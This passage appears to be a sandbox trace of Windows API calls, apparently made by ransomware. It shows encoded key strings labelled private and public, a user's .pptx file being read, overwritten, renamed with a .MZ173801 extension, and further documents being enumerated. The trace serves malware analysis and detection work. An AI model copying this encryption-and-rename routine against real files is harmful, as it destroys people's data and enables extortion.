lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0168.120] GetCurrentThreadId () returned 0xab4 [0168.120] GetCurrentThreadId () returned 0xab4 [0168.120] GetCurrentThreadId () returned 0xab4 [0168.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.121] GetCurrentThreadId () returned 0xab4 [0168.121] GetCurrentThreadId () returned 0xab4 [0168.121] GetCurrentThreadId () returned 0xab4 [0168.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fmxk2fhj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.121] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.121] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.121] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x18472 [0168.121] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.122] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x18472, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x18472, lpOverlapped=0x0) returned 1 [0168.123] CloseHandle (hObject=0x278) returned 1 [0168.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fmxk2fhj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.127] WriteFile (in: hFile=0x278, lpBuffer=0x24ba040*, nNumberOfBytesToWrite=0x18472, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ba040*, lpNumberOfBytesWritten=0x19fa24*=0x18472, lpOverlapped=0x0) returned 1 [0168.130] CloseHandle (hObject=0x278) returned 1 [0168.135] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fmxk2fhj.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\fMxk2fHJ.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\fmxk2fhj.pptx.mz173801")) returned 1 [0168.136] GetCurrentThreadId () returned 0xab4 [0168.136] GetCurrentThreadId () returned 0xab4 [0168.136] GetCurrentThreadId () returned 0xab4 [0168.136] GetCurrentThreadId () returned 0xab4 [0168.136] GetCurrentThreadId () returned 0xab4 [0168.136] GetCurrentThreadId () returned 0xab4 [0168.136] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd340f6c0, ftCreationTime.dwHighDateTime=0x1d5e9ff, ftLastAccessTime.dwLowDateTime=0x7bad340, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x7bad340, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="iLaJJJl9bXoFrg4vmuJ", cAlternateFileName="ILAJJJ~1")) returned 1 [0168.136] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ac830, ftCreationTime.dwHighDateTime=0x1d5a56f, ftLastAccessTime.dwLowDateTime=0x4e46f3e0, ftLastAccessTime.dwHighDateTime=0x1d5ef07, ftLastWriteTime.dwLowDateTime=0x4e46f3e0, ftLastWriteTime.dwHighDateTime=0x1d5ef07, nFileSizeHigh=0x0, nFileSizeLow=0x262b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="jJcmB8tI.docx", cAlternateFileName="JJCMB8~1.DOC")) returned 1 [0168.136] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.136] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jjcmb8ti.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ac830, ftCreationTime.dwHighDateTime=0x1d5a56f, ftLastAccessTime.dwLowDateTime=0x4e46f3e0, ftLastAccessTime.dwHighDateTime=0x1d5ef07, ftLastWriteTime.dwLowDateTime=0x4e46f3e0, ftLastWriteTime.dwHighDateTime=0x1d5ef07, nFileSizeHigh=0x0, nFileSizeLow=0x262b)) returned 1 [0168.136] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jjcmb8ti.docx")) returned 0x20 [0168.136] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx", dwFileAttributes=0x80) returned 1 [0168.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 